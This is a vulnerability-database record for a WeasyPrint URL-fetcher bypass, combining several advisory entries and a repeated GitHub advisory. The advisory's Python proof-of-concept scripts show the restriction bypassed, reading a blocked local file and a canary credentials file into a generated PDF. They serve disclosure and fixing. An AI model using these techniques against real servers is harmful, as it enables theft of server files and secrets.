{"id":"CVE-2026-55073","aliases":["DEBIAN-CVE-2026-55073","EUVD-2026-77638","GHSA-jf6q-chmf-3h3v","PYSEC-2026-3940","UBUNTU-CVE-2026-55073","openSUSE-SU-2026:11816-1","openSUSE-SU-2026:21928-1"],"status":"published","title":"WeasyPrint restrictive URL fetcher bypass allows local file read and SSRF","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","severity":{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00225,"percentile":0.13255,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-09-09T18:06:38Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"PyPI","package":"weasyprint","fixed_in":["70.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"weasyprint","fixed_in":["70.0-1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-weasyprint","fixed_in":["70.0-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"python-weasyprint","fixed_in":["65.1-bp160.4.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"70.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["57.2-1","59.0-1","60.2-1","61.0-1","61.1-1","61.2-1","61.2-2","62.0-1","62.1-1","62.2-1","62.3-1","67.0-1","69.0-1","69.0-2","70.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["62.3-1","67.0-1","69.0-1","69.0-2","70.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"70.0-1"}]}],"versions":["62.3-1","67.0-1","69.0-1","69.0-2"]},{"source":"osv","ecosystem":"PyPI","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"70.0"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.14","0.15","0.16","0.17","0.17.1","0.18","0.19","0.19.1","0.19.2","0.2","0.2.1","0.2.2","0.20","0.20.1","0.20.2","0.21","0.22","0.23","0.24","0.25","0.26","0.27","0.28","0.29","0.3","0.3.1","0.30","0.31","0.32","0.33","0.34","0.35","0.36","0.37","0.38","0.39","0.4","0.40","0.41","0.42","0.42.1","0.42.2","0.42.3","0.5","0.6","0.6.1","0.7","0.7.1","0.8","0.9","43","43rc1","43rc2","44","45","46","47","48","49","50","51","52","52.1","52.2","52.3","52.4","52.5","53.0","53.0b1","53.0b2","53.1","53.2","53.3","53.4","54.0","54.0b1","54.1","54.2","54.3","55.0","55.0b1","56.0","56.0b1","56.1","57.0","57.0b1","57.1","57.2","58.0","58.0b1","58.1","59.0","59.0b1","60.0","60.1","60.2","61.0","61.1","61.2","62.0","62.1","62.2","62.3","63.0","63.1","64.0","64.1","65.0","65.1","66.0","67.0","68.0","68.1","69.0"]},{"source":"osv","ecosystem":"PyPI","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"70.0"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.14","0.15","0.16","0.17","0.17.1","0.18","0.19","0.19.1","0.19.2","0.2","0.2.1","0.2.2","0.20","0.20.1","0.20.2","0.21","0.22","0.23","0.24","0.25","0.26","0.27","0.28","0.29","0.3","0.3.1","0.30","0.31","0.32","0.33","0.34","0.35","0.36","0.37","0.38","0.39","0.4","0.40","0.41","0.42","0.42.1","0.42.2","0.42.3","0.5","0.6","0.6.1","0.7","0.7.1","0.8","0.9","43","43rc1","43rc2","44","45","46","47","48","49","50","51","52","52.1","52.2","52.3","52.4","52.5","53.0","53.0b1","53.0b2","53.1","53.2","53.3","53.4","54.0","54.0b1","54.1","54.2","54.3","55.0","55.0b1","56.0","56.0b1","56.1","57.0","57.0b1","57.1","57.2","58.0","58.0b1","58.1","59.0","59.0b1","60.0","60.1","60.2","61.0","61.1","61.2","62.0","62.1","62.2","62.3","63.0","63.1","64.0","64.1","65.0","65.1","66.0","67.0","68.0","68.1","69.0"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["50-2","51-1","51-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["51-2","51-3","53.4-1","54.0-1","54.1-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["59.0-1","60.2-1","61.0-1","61.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["67.0-1","69.0-1","69.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["62.3-1","62.3-1build1","67.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"70.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-weasyprint","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"65.1-bp160.4.1"}]}]}],"products":[{"vendor":"kozea","product":"weasyprint"}],"references":[{"url":"https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-jf6q-chmf-3h3v","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Kozea/WeasyPrint/commit/289e278439b017cd9263b4cd4727026987f86443","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/Kozea/WeasyPrint/releases/tag/v70.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-jf6q-chmf-3h3v","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55073.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55073","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-55073","tags":["advisory"]},{"url":"https://github.com/Kozea/WeasyPrint","tags":["package"]},{"url":"https://pypi.org/project/weasyprint","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-55073","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55073","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55073","tags":["web"]},{"url":"https://bugzilla.suse.com/1279942","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-55073","title":"WeasyPrint restrictive URL fetcher bypass allows local file read and SSRF","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","status":"published","published":"2026-09-14T16:55:12.333Z","modified":"2026-09-16T15:19:03.064Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-77638","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","status":"published","published":"2026-09-14T16:55:12Z","modified":"2026-09-16T15:19:03Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:15.407859Z"}],"ghsa":[{"id":"GHSA-jf6q-chmf-3h3v","title":"weasyprint Has Server-Side Request Forgery (SSRF)","description":"## Summary\n\n`url_fetcher` is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document's `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n    ...\n    if url_fetcher is None:\n        url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document's fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** — they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options['xmp_metadata']:\n    for url in options['xmp_metadata']:\n        result = select_source(url)          # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options['stylesheets'] or []:\n    if not hasattr(css, 'matcher'):\n        css = CSS(                            # no url_fetcher=html.url_fetcher\n            guess=css, media_type=html.media_type,\n            font_config=font_config, counter_style=counter_style,\n            color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secret.xmp')\nopen(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')\npdf = HTML(string='\u003cp\u003ehi\u003c/p\u003e', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)\n# -\u003e True\n```\n\n(`pdf_variant='pdf/a-3b'` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'evil.css')\nopen(path, 'w').write('@page { size: 1234px 5678px }')\n\ndoc = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).render(stylesheets=['file://' + path])\np = doc.pages[0]\nprint('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string='\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e' % path,\n            url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint('control \u003clink\u003e correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, 'inner.css')\nouter = os.path.join(d, 'outer.css')\nopen(inner, 'w').write('@page { size: 333px 777px }')\nopen(outer, 'w').write('@import url(\"file://%s\");' % inner)\ndoc = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).render(stylesheets=['file://' + outer])\np = doc.pages[0]\nprint('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\ncreds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',\n         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'site_config.json')\njson.dump(creds, open(path, 'w'))\npdf = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secrets.css')\nopen(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }')\nhtml = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block())\ndoc = html.render(stylesheets=['file://' + path])\npdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -\u003e True\nprint('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document's `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.","status":"published","published":"2026-09-09T18:06:38Z","modified":"2026-09-09T18:06:38Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:41:14.764963Z"}],"nvd":[{"id":"CVE-2026-55073","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","status":"published","published":"2026-09-14T17:17:47.77Z","modified":"2026-09-23T17:17:44.63Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:46.980627Z"}],"osv":[{"id":"CVE-2026-55073","title":"WeasyPrint restrictive URL fetcher bypass allows local file read and SSRF","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","status":"published","published":"2026-09-14T16:55:12.333Z","modified":"2026-10-28T02:31:00.014558322Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"DEBIAN-CVE-2026-55073","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","status":"published","published":"2026-09-14T17:17:47.77Z","modified":"2026-10-13T17:00:10.401859061Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-jf6q-chmf-3h3v","title":"weasyprint Has Server-Side Request Forgery (SSRF)","description":"## Summary\n\n`url_fetcher` is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document's `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n    ...\n    if url_fetcher is None:\n        url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document's fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** — they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options['xmp_metadata']:\n    for url in options['xmp_metadata']:\n        result = select_source(url)          # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options['stylesheets'] or []:\n    if not hasattr(css, 'matcher'):\n        css = CSS(                            # no url_fetcher=html.url_fetcher\n            guess=css, media_type=html.media_type,\n            font_config=font_config, counter_style=counter_style,\n            color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secret.xmp')\nopen(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')\npdf = HTML(string='\u003cp\u003ehi\u003c/p\u003e', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)\n# -\u003e True\n```\n\n(`pdf_variant='pdf/a-3b'` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'evil.css')\nopen(path, 'w').write('@page { size: 1234px 5678px }')\n\ndoc = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).render(stylesheets=['file://' + path])\np = doc.pages[0]\nprint('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string='\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e' % path,\n            url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint('control \u003clink\u003e correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, 'inner.css')\nouter = os.path.join(d, 'outer.css')\nopen(inner, 'w').write('@page { size: 333px 777px }')\nopen(outer, 'w').write('@import url(\"file://%s\");' % inner)\ndoc = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).render(stylesheets=['file://' + outer])\np = doc.pages[0]\nprint('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\ncreds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',\n         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'site_config.json')\njson.dump(creds, open(path, 'w'))\npdf = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secrets.css')\nopen(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }')\nhtml = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block())\ndoc = html.render(stylesheets=['file://' + path])\npdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -\u003e True\nprint('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document's `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent's 